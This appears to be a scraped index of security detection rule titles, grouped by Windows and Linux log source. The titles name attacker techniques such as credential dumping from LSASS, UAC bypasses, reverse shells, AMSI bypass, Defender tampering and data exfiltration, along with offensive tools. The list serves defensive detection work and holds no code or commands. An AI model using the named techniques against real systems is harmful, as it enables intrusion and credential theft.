on Windows Defender Potential AutoLogger Sessions Tampering Disable Microsoft Defender Firewall via Registry Disable Internal Tools or Feature in Registry Disable Macro Runtime Scan Scope Disable Privacy Settings Experience in Registry Disable Windows Security Center Notifications Registry Disable System Restore Windows Defender Service Disabled - Registry Disable Windows Firewall by Registry Disable Windows Event Logging Via Registry Add DisallowRun Execution to Registry Persistence Via Disk Cleanup Handler - Autorun DNS-over-HTTPS Enabled by Registry New DNS ServerLevelPluginDll Installed ETW Logging Disabled In .NET Processes - Sysmon Registry Directory Service Restore Mode(DSRM) Registry Value Tampering Periodic Backup For System Registry Hives Enabled Windows Recall Feature Enabled - Registry Enabling COR Profiler Environment Variables Potential EventLog File Location Tampering Scripted Diagnostics Turn Off Check Enabled - Registry Suspicious Application Allowed Through Exploit Guard Change User Account Associated with the FAX Service Change the Fax Dll New File Association Using Exefile Add Debugger Entry To Hangs Key For Persistence Persistence Via Hhctrl.ocx Registry Modification to Hidden File Extension Displaying Hidden Files Feature Disabled Registry Hide Function from User Hide Schedule Task Via Index Value Tamper Driver Added To Disallowed Images In HVCI - Registry IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Uncommon Extension In Keyboard Layout IME File Registry Value Suspicious Path In Keyboard Layout IME File Registry Value New Root or CA or AuthRoot Certificate to Store Internet Explorer DisableFirstRunCustomize Enabled Potential Ransomware Activity Using LegalNotice Message Lolbas OneDriveStandaloneUpdater.exe Proxy Download Lsass Full Dump Request Via DumpType Registry Settings RestrictedAdminMode Registry Value Tampering Blue Mockingbird - Registry Potential Persistence Via Netsh Helper DLL - Registry New Netsh Helper DLL Registered From A Suspicious Location NET NGenAssemblyUsageLog Registry Key Tamper New Application in AppCompat Potential Credential Dumping Attempt Using New NetworkProvider - REG New ODBC Driver Registered Potentially Suspicious ODBC Driver Registered Microsoft Office Protected View Disabled Trust Access Disable For VBApplications Python Function Execution Security Warning Disabled In Excel - Registry Enable Microsoft Dynamic Data Exchange Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting Outlook Macro Execution Without Warning Setting Enabled Outlook EnableUnsafeClientMailRules Setting Enabled - Registry Outlook Security Settings Updated - Registry Uncommon Microsoft Office Trusted Location Added Macro Enabled In A Potentially Suspicious Document Office Macros Warning Disabled MaxMpxCt Registry Value Changed Potential Persistence Using DebugPath Potential Persistence Via AppCompat RegisterAppRestart Layer Potential Persistence Via App Paths Default Property Potential Persistence Via AutodialDLL Potential Persistence Via CHM Helper DLL Potential PSFactoryBuffer COM Hijacking COM Object Hijacking Via Modification Of Default System CLSID Default Value Potential Persistence Via Custom Protocol Handler Potential Persistence Via Event Viewer Events.asp Potential Persistence Via GlobalFlags Modification of IE Registry Settings Register New IFiltre For Persistence Potential Persistence Via LSA Extensions Potential Persistence Via Mpnotify Potential Persistence Via Excel Add-in - Registry Potential Persistence Via MyComputer Registry Keys Potential Persistence Via TypedPaths Potential Persistence Via Outlook Today Page Potential Persistence Via Scrobj.dll COM Hijacking Potential WerFault ReflectDebugger Registry Value Abuse Potential Persistence Via Visual Studio Tools for Office Suspicious Shim Database Patching Activity PowerShell Script Execution Policy Enabled Potential Attachment Manager Settings Associations Tamper Potential Persistence Via Outlook Home Page Potential Persistence Via DLLPathOverride Potential Persistence Via Shim Database In Uncommon Location Potential Attachment Manager Settings Attachments Tamper PowerShell as a Service in Registry Potential Persistence Via Shim Database Modification Potential PowerShell Execution Policy Tampering Suspicious Powershell In Registry Run Keys PowerShell Logging Disabled Via Registry Key Tampering Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG Usage of Renamed Sysinternals Tools - RegistrySet ETW Logging Disabled For rpcrt4.dll Potentially Suspicious Command Executed Via Run Dialog Box - Registry ScreenSaver Registry Key Set Potential SentinelOne Shell Context Menu Scan Command Tampering ETW Logging Disabled For SCM ServiceDll Hijack Registry Explorer Policy Modification Persistence Via New SIP Provider Tamper With Sophos AV Registry Keys Hiding User Account Via SpecialAccounts Registry Key Activate Suppression of Windows Security Center Notifications Suspicious Environment Variable Has Been Registered Suspicious Keyboard Layout Load Potential PendingFileRenameOperations Tampering Suspicious Printer Driver Empty Manufacturer Registry Persistence via Explorer Run Key New RUN Key Pointing to Suspicious Folder Suspicious Service Installed Modify User Shell Folders Startup Value Enable LM Hash Storage Scheduled TaskCache Change by Uncommon Program Potential Registry Persistence Attempt Via Windows Telemetry RDP Sensitive Settings Changed to Zero RDP Sensitive Settings Changed New TimeProviders Registered With Uncommon DLL Name Old TLS1.0/TLS1.1 Protocol Version Enabled COM Hijacking via TreatAs Potential Signing Bypass Via Windows Developer Features - Registry UAC Bypass via Event Viewer UAC Bypass via Sdclt UAC Bypass Abusing Winsat Path Parsing - Registry UAC Bypass Using Windows Media Player - Registry UAC Disabled UAC Notification Disabled UAC Secure Desktop Prompt Disabled VBScript Payload Stored in Registry Wdigest Enable UseLogonCredential Execution DLL of Choice Using WAB.EXE Disable Windows Defender Functionalities Via Registry Keys Winget Admin Settings Modification Enable Local Manifest Installation With Winget Winlogon Notify Key Logon Persistence Winlogon AllowMultipleTSSessions Enable CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry CVE-2021-31979 CVE-2021-33771 Exploits Small Sieve Malware Registry Persistence Suspicious Set Value of MSDT in Registry (CVE-2022-30190) Outlook Task/Note Reminder Received Potential COLDSTEEL RAT Windows User Creation Potential Encrypted Registry Blob Related To SNAKE Malware Potential KamiKakaBot Activity - Winlogon Shell Persistence Kapeka Backdoor Autorun Persistence Kapeka Backdoor Configuration Persistence Potential Raspberry Robin Registry Set Internet Settings ZoneMap Forest Blizzard APT - Custom Protocol Handler Creation Forest Blizzard APT - Custom Protocol Handler DLL Registry Set Microsoft Office Trusted Location Updated Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace Command Executed Via Run Dialog Box - Registry Service Binary in User Controlled Folder Shell Context Menu Command Tampering
windows-file_event	207	Show Rules (207) Suspicious File Event With Teams Objects Suspicious Unattend.xml File Access CrackMapExec File Creation Patterns LSASS Memory Dump File Creation CreateMiniDump Hacktool Mimikatz MemSSP Default Log File Creation Suspicious CLR Logs Creation ADSI-Cache File Creation By Uncommon Tool Advanced IP Scanner - File Event Suspicious Binary Writes Via AnyDesk Anydesk Temporary Artefact Assembly DLL Creation Via AspNetCompiler BloodHound Collection Files EVTX Created In Uncommon Location Creation Of Non-Existent System DLL New Custom Shim Database Created Suspicious Screensaver Binary File Creation Files With System DLL Name In Unsuspected Locations Files With System Process Name In Unsuspected Locations Creation Exe for Service with Unquoted Path Cred Dump Tools Dropped Files WScript or CScript Dropper - File Dynamic CSharp Compile Artefact CSExec Service File Creation Potential DCOM InternetExplorer.Application DLL Hijack DLL Search Order Hijackig Via Additional Space in Path Potentially Suspicious DMP/HDMP File Creation Potential Persistence Attempt Via ErrorHandler.Cmd Suspicious ASPX File Drop by Exchange Suspicious File Drop by Exchange GoToAssist Temporary Installation Artefact HackTool - CrackMapExec File Indicators HackTool - Typical HiveNightmare SAM File Export HackTool - Dumpert Process Dumper Default File HackTool - Inveigh Execution Artefacts HackTool - Mimikatz Kirbi File Creation HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators HackTool - NPPSpy Hacktool Usage HackTool - Powerup Write Hijack DLL HackTool - QuarksPwDump Dump File HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump HackTool - SafetyKatz Dump Indicator Potential Initial Access via DLL Search Order Hijacking Installation of TeamViewer Desktop Malicious DLL File Dropped in the Teams or OneDrive Folder ISO File Created Within Temp Folders ISO or Image Mount Indicator in Recent Files GatherNetworkInfo.VBS Reconnaissance Script Output LSASS Process Memory Dump Files LSASS Process Dump Artefact In CrashDumps Folder WerFault LSASS Process Memory Dump Octopus Scanner Malware Adwind RAT / JRAT File Artifact File Creation In Suspicious Directory By Msdt.EXE Uncommon File Creation By Mysql Daemon Process Suspicious DotNET CLR Usage Log Artifact Suspicious File Creation In Uncommon AppData Folder SCR File Write Event Potential Persistence Via Notepad++ Plugins NTDS.DIT Created NTDS.DIT Creation By Uncommon Parent Process NTDS.DIT Creation By Uncommon Process NTDS Exfiltration Filename Patterns Office Macro File Creation Potential Persistence Via Microsoft Office Add-In Office Macro File Download Office Macro File Creation From Suspicious Process OneNote Attachment File Dropped In Suspicious Location Suspicious File Created Via OneNote Application New Outlook Macro Created .RDP File Created by Outlook Process PCRE.NET Package Temp Files Suspicious Outlook Macro Created Publisher Attachment File Dropped In Suspicious Location Potential Persistence Via Microsoft Office Startup Folder File With Uncommon Extension Created By An Office Application Uncommon File Created In Office Startup Folder Potential Persistence Via Outlook Form Suspicious File Created In PerfLogs Potential Binary Or Script Dropper Via PowerShell PowerShell Script Dropped Via PowerShell.EXE Malicious PowerShell Scripts - FileCreation PowerShell Module File Created PowerShell Module File Created By Non-PowerShell Process Potential Suspicious PowerShell Module File Created Potential Startup Shortcut Persistence Via PowerShell.EXE PSScriptPolicyTest Creation By Uncommon Process Rclone Config File Creation .RDP File Created By Uncommon Application Potential Winnti Dropper Activity PDF File Created By RegEdit.EXE RemCom Service File Creation ScreenConnect Temporary Installation Artefact Remote Access Tool - ScreenConnect Temporary File Potential RipZip Attack on Startup Folder Potential SAM Database Dump Self Extraction Directive File Created In Potentially Suspicious Location Windows Shell/Scripting Application File Write to Suspicious Folder Windows Binaries Write Suspicious Extensions Startup Folder File Write Suspicious Creation with Colorcpl Created Files by Microsoft Sync Center Suspicious Files in Default GPO Folder Suspicious Desktopimgdownldr Target File Suspicious desktop.ini Action Suspicious Creation TXT File in User Desktop Creation of a Diagcab DPAPI Backup Keys And Certificate Export Activity IOC Suspicious Double Extension Files Suspicious MSExchangeMailboxReplication ASPX Write Suspicious Executable File Creation Suspicious Get-Variable.exe Creation Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream Potential Homoglyph Attack Using Lookalike Characters in Filename Legitimate Application Dropped Archive Legitimate Application Dropped Executable Legitimate Application Dropped Script Suspicious LNK Double Extension File Created Suspicious PFX File Creation PowerShell Profile Modification Suspicious PROCEXP152.sys File Created In TMP Suspicious File Creation Activity From Fake Recycle.Bin Folder Potential File Extension Spoofing Using Right-to-Left Override Drop Binaries Into Spool Drivers Color Folder Suspicious Startup Folder Persistence Suspicious Scheduled Task Write to System32 Tasks Suspicious Interactive PowerShell as SYSTEM TeamViewer Remote Session VsCode Powershell Profile Modification Windows Terminal Profile Settings Modification By Uncommon Process WinSxS Executable File Creation By Non-System Process LiveKD Kernel Memory Dump File Created LiveKD Driver Creation LiveKD Driver Creation By Uncommon Process Process Explorer Driver Creation By Non-Sysinternals Binary Process Monitor Driver Creation By Non-Sysinternals Binary PsExec Service File Creation PSEXEC Remote Execution File Artefact Potential Privilege Escalation Attempt Via .Exe.Local Technique LSASS Process Memory Dump Creation Via Taskmgr.EXE Hijack Legit RDP Session to Move Laterally UAC Bypass Using Consent and Comctl32 - File UAC Bypass Using .NET Code Profiler on MMC UAC Bypass Using EventVwr UAC Bypass Using IDiagnostic Profile - File UAC Bypass Using IEInstal - File UAC Bypass Using MSConfig Token Modification - File UAC Bypass Using NTFS Reparse Point - File UAC Bypass Abusing Winsat Path Parsing - File UAC Bypass Using Windows Media Player - File Creation of WerFault.exe/Wer.dll in Unusual Folder VHD Image Download Via Browser Visual Studio Code Tunnel Remote File Creation Renamed VsCode Code Tunnel Execution - File Indicator Potential Webshell Creation On Static Website AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File Wmiexec Default Output File Wmiprvse Wbemcomn DLL Hijack - File WMI Persistence - Script Event Consumer File Write UEFI Persistence Via Wpbbin - FileCreation Writing Local Admin Share APT29 2018 Phishing Campaign File Indicators CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum CVE-2021-1675 Print Spooler Exploitation Filename Pattern CVE-2021-26858 Exchange Exploitation Suspicious Word Cab File Write CVE-2021-40444 InstallerFileTakeOver LPE CVE-2021-41379 File Create Event CVE-2021-44077 POC Default Dropped File Potential Devil Bait Related Indicator Goofy Guineapig Backdoor IOC Moriya Rootkit File Created Pingback Backdoor File Indicators Small Sieve Malware File Indicator Creation CVE-2022-24527 Microsoft Connected Cache LPE Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation Potential CVE-2023-36884 Exploitation Dropped File CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File CVE-2023-40477 Potential Exploitation - .REV File Creation Potential COLDSTEEL RAT File Indicators Potential COLDSTEEL Persistence Service DLL Creation DarkGate - Autoit3.EXE File Creation By Uncommon Process SNAKE Malware Kernel Driver File Indicator SNAKE Malware WerFault Persistence File Creation SNAKE Malware Installer Name Indicators Diamond Sleet APT File Creation Indicators Potential APT FIN7 Related PowerShell Script Created Lace Tempest File Indicators Onyx Sleet APT File Creation Indicators CVE-2024-1708 - ScreenConnect Path Traversal Exploitation ScreenConnect User Database Modification DarkGate - Drop DarkGate Loader In C:\Temp Directory File Creation Related To RAT Clients Potential Kapeka Decrypted Backdoor Indicator Forest Blizzard APT - File Creation Activity Forest Blizzard APT - JavaScript Constrained File Creation ScreenConnect - SlashAndGrab Exploitation Indicators DMP/HDMP File Creation Python Path Configuration File Creation - Windows Scheduled Task Created - FileCreation Creation of an Executable by an Executable VsCode Code Tunnel Execution File Indicator WebDAV Temporary Local File Creation File Creation by Office Applications Files Dropped to Program Files by Non-Priviledged Process
windows-ps_script	184	Show Rules (184) Accessing Encrypted Credentials from Google Chrome Login Database AzureHound PowerShell Commands Execution via CL_Invocation.ps1 - Powershell Execution via CL_Mutexverifiers.ps1 Powershell File and Directory Discovery Dnscat Execution PrintNightmare Powershell Exploitation Suspicious Get-WmiObject AADInternals PowerShell Cmdlets Execution - PsScript Access to Browser Login Data Potential Active Directory Enumeration Using AD Module - PsScript Add Windows Capability Via PowerShell Script Powershell Add Name Resolution Policy Table Rule PowerShell ADRecon Execution AMSI Bypass Pattern Assembly GetType Potential AMSI Bypass Script Using NULL Bits Silence.EDA Detection Get-ADUser Enumeration Using UserAccountControl Flags Potential Data Exfiltration Via Audio File Automated Collection Command PowerShell Windows Screen Capture with CopyFromScreen Clearing Windows Console History Clear PowerShell History - PowerShell Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell Powershell Create Scheduled Task Powershell Install a DLL in System Directory Registry-Free Process Scope COR_PROFILER PowerShell Create Local User Create Volume Shadow Copy with Powershell Powershell Detect Virtualization Environment DirectorySearcher Powershell Exploitation Manipulation of User Computer or Group Security Principals Across AD Disable Powershell Command History Disable-WindowsOptionalFeature Command PowerShell Potential In-Memory Execution Using Reflection.Assembly Potential COM Objects Download Cradles Usage - PS Script DSInternals Suspicious PowerShell Cmdlets - ScriptBlock Dump Credentials from Windows Credential Manager With PowerShell Enable Windows Remote Management Potential Suspicious Windows Feature Enabled Enumerate Credentials from Windows Credential Manager With PowerShell Disable of ETW Trace - Powershell Suspicious PowerShell Mailbox SMTP Forward Rule Certificate Exported Via PowerShell - ScriptBlock Suspicious FromBase64String Usage On Gzip Archive - Ps Script Service Registry Permissions Weakness Check Active Directory Computers Enumeration With Get-AdComputer Active Directory Group Enumeration With Get-AdGroup Suspicious Get-ADReplAccount Automated Collection Bookmarks Using Get-ChildItem PowerShell Security Software Discovery Via Powershell Script HackTool - Rubeus Execution - ScriptBlock HackTool - WinPwn Execution - ScriptBlock PowerShell Hotfix Enumeration PowerShell ICMP Exfiltration Import PowerShell Modules From Suspicious Directories Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript Execute Invoke-command on Remote Host Powershell DNSExfiltration Invoke-Obfuscation CLIP+ Launcher - PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Invoke-Obfuscation STDIN+ Launcher - Powershell Invoke-Obfuscation VAR+ Launcher - PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Invoke-Obfuscation Via Stdin - Powershell Invoke-Obfuscation Via Use Clip - Powershell Invoke-Obfuscation Via Use MSHTA - PowerShell Invoke-Obfuscation Via Use Rundll32 - PowerShell Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Powershell Keylogging Powershell LocalAccount Manipulation Suspicious PowerShell Mailbox Export to Share - PS Malicious PowerShell Commandlets - ScriptBlock Live Memory Dump Using Powershell Malicious PowerShell Keywords Modify Group Policy Settings - ScriptBlockLogging Powershell MsXml COM Object Malicious Nishang PowerShell Commandlets NTFS Alternate Data Stream Code Executed Via Office Add-in XLL File Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock Potential Invoke-Mimikatz PowerShell Script PowerShell Web Access Installation - PsScript PowerView PowerShell Cmdlets - ScriptBlock PowerShell Credential Prompt PSAsyncShell - Asynchronous TCP Reverse Shell PowerShell PSAttack Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock PowerShell Remote Session Creation PowerShell Script With File Hostname Resolving Capabilities Request A Single Ticket via PowerShell Root Certificate Installed - PowerShell Suspicious Invoke-Item From Mount-DiskImage PowerShell Script With File Upload Capabilities PowerShell Script Change Permission Via Set-Acl - PsScript Powershell Sensitive File Discovery PowerShell Set-Acl On Windows Folder - PsScript Change PowerShell Policies to an Insecure Level - PowerShell PowerShell ShellCode Malicious ShellIntel PowerShell Commandlets Detected Windows Software Discovery - PowerShell Powershell Store File In Alternate Data Stream Potential Persistence Via Security Descriptors - ScriptBlock AD Groups Or Users Enumeration Using PowerShell - ScriptBlock Potential PowerShell Obfuscation Using Character Join Suspicious Eventlog Clear Powershell Directory Enumeration Suspicious PowerShell Download - Powershell Script Powershell Execute Batch Script Troubleshooting Pack Cmdlet Execution Extracting Information with PowerShell PowerShell Get-Process LSASS in ScriptBlock Suspicious GetTypeFromCLSID ShellExecute Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy Suspicious PowerShell Get Current User Suspicious GPO Discovery With Get-GPO Suspicious Process Discovery With Get-Process Suspicious Hyper-V Cmdlets Suspicious PowerShell Invocations - Generic Suspicious PowerShell Invocations - Specific Suspicious IO.FileStream Change User Agents with WebRequest Potential Keylogger Activity Suspicious Get Local Groups Information - PowerShell Potential Suspicious PowerShell Keywords Powershell Local Email Collection PowerShell Deleted Mounted Share Suspicious Mount-DiskImage Suspicious Connection to Remote Account Suspicious New-PSDrive to Admin Share Suspicious TCP Tunnel Via PowerShell Script Recon Information for Export with PowerShell Remove Account From Domain Admin Group Suspicious Service DACL Modification Via Set-Service Cmdlet - PS Suspicious Get Information for SMB Share Potential PowerShell Obfuscation Using Alias Cmdlets Suspicious SSL Connection Suspicious Start-Process PassThru Suspicious Unblock-File Powershell Suspicious Win32_PnPEntity Replace Desktop Wallpaper by Powershell Delete Volume Shadow Copies via WMI with PowerShell - PS Script Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script Suspicious PowerShell WindowStyle Option PowerShell Write-EventLog Usage Zip A Folder With PowerShell For Staging In Temp - PowerShell Script SyncAppvPublishingServer Execution to Bypass Powershell Restriction Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging Tamper Windows Defender - ScriptBlockLogging Testing Usage of Uncommonly Used Port Powershell Timestomp Powershell Token Obfuscation - Powershell User Discovery And Export Via Get-ADUser Cmdlet - PowerShell Potential Persistence Via PowerShell User Profile Using Add-Content Abuse of Service Permissions to Hide Services Via Set-Service - PS Veeam Backup Servers Credential Dumping Script Execution Usage Of Web Request Commands And Cmdlets - ScriptBlock Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript PowerShell WMI Win32_Product Install MSI Windows Firewall Profile Disabled Winlogon Helper DLL Potential WinAPI Calls Via PowerShell Scripts Windows Defender Exclusions Added - PowerShell WMImplant Hack Tool Powershell WMI Persistence WMIC Unquoted Services Path Lookup - PowerShell Suspicious X509Enrollment - Ps Script Powershell XML Execute Command Potential APT FIN7 POWERHOLD Execution Potential POWERTRASH Script Execution Lace Tempest PowerShell Evidence Eraser Lace Tempest PowerShell Launcher Compress-Archive Cmdlet Execution Windows Mail App Mailbox Access Via PowerShell Script New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet - ScriptBlock SMB over QUIC Via PowerShell Script Potential Registry Reconnaissance Via PowerShell Script Use Of Remove-Item to Delete File - ScriptBlock Potential Data Exfiltration Over SMTP Via Send-MailMessage Cmdlet WinAPI Library Calls Via PowerShell Scripts WinAPI Function Calls Via PowerShell Scripts Execution via CL_Invocation.ps1 (2 Lines) Execution via CL_Mutexverifiers.ps1 (2 Lines)
linux-process_creation	121	Show Rules (121) Shell Invocation via Apt - Linux Scheduled Task/Job At Suspicious Invocation of Shell via AWK - Linux Decode Base64 Encoded Text Linux Base64 Encoded Pipe to Shell Bash Interactive Shell BPFtrace Unsafe Option Usage Enable BPF Kprobes Tracing Capabilities Discovery - Linux Capsh Shell Invocation - Linux Remove Immutable File Attribute Linux Base64 Encoded Shebang In CLI Clipboard Collection with Xclip Tool Clear Linux Logs Cat Sudoers Commands to Clear or Remove the Syslog Crontab Enumeration Copy Passwd Or Shadow From TMP Path Remove Scheduled Cron Task/Job Linux Crypto Mining Indicators Curl Usage on Linux Atlassian Confluence CVE-2022-26134 Apache Spark Shell Command Injection - ProcessCreation DD File Overwrite Potential Linux Process Code Injection Via DD Utility Ufw Force Stop Using Ufw-Init Linux Doas Tool Execution Shell Invocation via Env Command - Linux ESXi Network Configuration Discovery Via ESXCLI ESXi Admin Permission Assigned To Account Via ESXCLI ESXi Storage Information Discovery Via ESXCLI ESXi Syslog Configuration Change Via ESXCLI ESXi System Information Discovery Via ESXCLI ESXi Account Creation Via ESXCLI ESXi VM List Discovery Via ESXCLI ESXi VM Kill Via ESXCLI ESXi VSAN Information Discovery Via ESXCLI File and Directory Discovery - Linux File Deletion Shell Execution via Find - Linux Shell Execution via Flock - Linux Shell Execution GCC - Linux Shell Execution via Git - Linux OS Architecture Discovery Via Grep Group Has Been Deleted Via Groupdel Install Root Certificate Suspicious Package Installed - Linux Flush Iptables Ufw Chain Local System Accounts Discovery - Linux Local Groups Discovery - Linux Potential GobRAT File Discovery Via Grep Named Pipe Created Via Mkfifo Potentially Suspicious Named Pipe Created Via Mkfifo Mount Execution With Hidepid Parameter Potential Netcat Reverse Shell Execution Shell Execution via Nice - Linux Nohup Execution Suspicious Nohup Execution OMIGOD SCX RunAsProvider ExecuteScript OMIGOD SCX RunAsProvider ExecuteShellCommand Potential Perl Reverse Shell Execution Potential PHP Reverse Shell Pnscan Binary Data Transmission Activity Connection Proxy Python Spawning Pretty TTY Via PTY Module Python Reverse Shell Execution Via PTY And Socket Modules Inline Python Execution - Spawn Shell Via OS System Library Remote Access Tool - Team Viewer Session Started On Linux Host Linux Remote System Discovery Linux Package Uninstall Shell Execution via Rsync - Linux Suspicious Invocation of Shell via Rsync Potential Ruby Reverse Shell Scheduled Cron Task/Job - Linux Security Software Discovery - Linux Disabling Security Tools Disable Or Stop Services Setuid and Setgid Shell Invocation Via Ssh - Linux Potential Linux Amazon SSM Agent Hijacking Sudo Privilege Escalation CVE-2019-14287 Chmod Suspicious Directory Container Residence Discovery Via Proc Virtual FS Suspicious Curl File Upload - Linux Suspicious Curl Change User Agents - Linux Docker Container Discovery Via Dockerenv Listing Potentially Suspicious Execution From Tmp Folder Potential Discovery Activity Using Find - Linux Suspicious Git Clone - Linux History File Deletion Print History File Contents Linux HackTool Execution Potential Container Discovery Via Inodes Listing Interactive Bash Suspicious Children Suspicious Java Children Processes Linux Network Service Scanning Tools Execution Linux Shell Pipe to Shell Linux Recon Indicators Potential Suspicious Change To Sensitive/Critical Files Execution Of Script Located In Potentially Suspicious Directory Shell Execution Of Process Located In Tmp Directory System Information Discovery System Network Connections Discovery - Linux System Network Discovery - Linux Touch Suspicious Service File Triple Cross eBPF Rootkit Execve Hijack Triple Cross eBPF Rootkit Install Commands User Has Been Deleted Via Userdel User Added To Root/Sudoers Group Using Usermod Vim GTFOBin Abuse - Linux Linux Webshell Indicators Download File To Potentially Suspicious Directory Via Wget Potential Xterm Reverse Shell CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux) UNC4841 - SSL Certificate Exfiltration Via Openssl UNC4841 - Download Compressed Files From Temp.sh Using Wget UNC4841 - Download Tar File From Untrusted Direct IP Via Wget UNC4841 - Potential SEASPY Execution Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process Terminate Linux Process Via Kill Process Discovery
windows-image_load	120	Show Rules (120) Alternate PowerShell Hosts - Image Suspicious Load of Advapi31.dll SCM DLL Sideload Svchost DLL Search Order Hijack Possible Process Hollowing Image Loading Windows Management Instrumentation DLL Loaded Via Microsoft Word PowerShell Execution DLL Loaded From Suspicious Location Via Cmspt.EXE Amsi.DLL Loaded Via LOLBIN Process Potential Azure Browser SSO Abuse Suspicious Renamed Comsvcs DLL Loaded By Rundll32 CredUI.DLL Loaded By Uncommon Process Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded PCRE.NET Package Image Load Load Of RstrtMgr.DLL By A Suspicious Process Load Of RstrtMgr.DLL By An Uncommon Process Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE Time Travel Debugging Utility Usage - Image PowerShell Core DLL Loaded By Non PowerShell Process Suspicious Volume Shadow Copy Vssapi.dll Load Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load Suspicious Volume Shadow Copy VSS_PS.dll Load HackTool - SILENTTRINITY Stager DLL Load HackTool - SharpEvtMute DLL Load Potential DCOM InternetExplorer.Application DLL Hijack - Image Load Unsigned Image Loaded Into LSASS Process CLR DLL Loaded Via Office Applications DotNET Assembly DLL Loaded Via Office Application Active Directory Parsing DLL Loaded Via Office Application GAC DLL Loaded Via Office Applications Microsoft Excel Add-In Loaded From Uncommon Location Active Directory Kerberos DLL Loaded Via Office Application Microsoft VBA For Outlook Addin Loaded Via Outlook VBA DLL Loaded Via Office Application PowerShell Core DLL Loaded Via Office Application Remote DLL Load Via Rundll32.EXE WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load Potential 7za.DLL Sideloading Abusable DLL Potential Sideloading From Suspicious Location Potential Antivirus Software DLL Sideloading Potential appverifUI.DLL Sideloading Aruba Network Service Potential DLL Sideloading Potential AVKkid.DLL Sideloading Potential CCleanerDU.DLL Sideloading Potential CCleanerReactivator.DLL Sideloading Potential Chrome Frame Helper DLL Sideloading Potential DLL Sideloading Via ClassicExplorer32.dll Potential DLL Sideloading Via comctl32.dll Potential DLL Sideloading Using Coregen.exe Potential DLL Sideloading Of DBGCORE.DLL System Control Panel Item Loaded From Uncommon Location Potential DLL Sideloading Of DBGHELP.DLL Potential DLL Sideloading Of DbgModel.DLL Potential EACore.DLL Sideloading Potential Edputil.DLL Sideloading Potential System DLL Sideloading From Non System Locations Potential Goopdate.DLL Sideloading Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE Potential Iviewers.DLL Sideloading Potential DLL Sideloading Via JsSchHlp Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE Potential Libvlc.DLL Sideloading Potential Mfdetours.DLL Sideloading Unsigned Mfdetours.DLL Sideloading Potential DLL Sideloading Of MpSvc.DLL Potential DLL Sideloading Of MsCorSvc.DLL Potential DLL Sideloading Of Non-Existent DLLs From System Folders Microsoft Office DLL Sideload Potential Python DLL SideLoading Potential Rcdll.DLL Sideloading Potential RjvPlatform.DLL Sideloading From Default Location Potential RjvPlatform.DLL Sideloading From Non-Default Location Potential RoboForm.DLL Sideloading Potential ShellDispatch.DLL Sideloading DLL Sideloading Of ShellChromeAPI.DLL Potential SmadHook.DLL Sideloading Potential SolidPDFCreator.DLL Sideloading Third Party Software DLL Sideloading Fax Service DLL Search Order Hijack Potential Vivaldi_elf.DLL Sideloading VMGuestLib DLL Sideload VMMap Signed Dbghelp.DLL Potential Sideloading VMMap Unsigned Dbghelp.DLL Potential Sideloading Potential DLL Sideloading Via VMware Xfer Potential Waveedit.DLL Sideloading Potential Wazuh Security Platform DLL Sideloading Potential Mpclient.DLL Sideloading Potential WWlib.DLL Sideloading Windows Spooler Service Suspicious Binary Load Unsigned Module Loaded by ClickOnce Application DLL Load By System Process From Suspicious Locations Python Image Load By Non-Python Process DotNet CLR DLL Loaded By Scripting Applications Unsigned DLL Loaded by Windows Utility Suspicious Unsigned Thor Scanner Execution UAC Bypass Using Iscsicpl - ImageLoad UAC Bypass With Fake DLL WMIC Loading Scripting Libraries Wmiprvse Wbemcomn DLL Hijack WMI Persistence - Command Line Event Consumer Suspicious WSMAN Provider Image Loads FoggyWeb Backdoor DLL Loading Pingback Backdoor DLL Loading Activity APT PRIVATELOG Image Load Pattern Potential COLDSTEEL Persistence Service DLL Load Malicious DLL Load By Compromised 3CXDesktopApp DLL Names Used By SVR For GraphicalProton Backdoor Diamond Sleet APT DLL Sideloading Indicators Lazarus APT DLL Sideloading Activity Potential CSharp Streamer RAT Loading .NET Executable Image Kapeka Backdoor Loaded Via Rundll32.EXE Potential Raspberry Robin Aclui Dll SideLoading Amsi.DLL Load By Uncommon Process Dbghelp/Dbgcore DLL Loaded By Uncommon/Suspicious Process System Drawing DLL Load Task Scheduler DLL Loaded By Application Located In Potentially Suspicious Location Microsoft Excel Add-In Loaded Microsoft Word Add-In Loaded WMI Module Loaded By Uncommon Process Mimikatz In-Memory
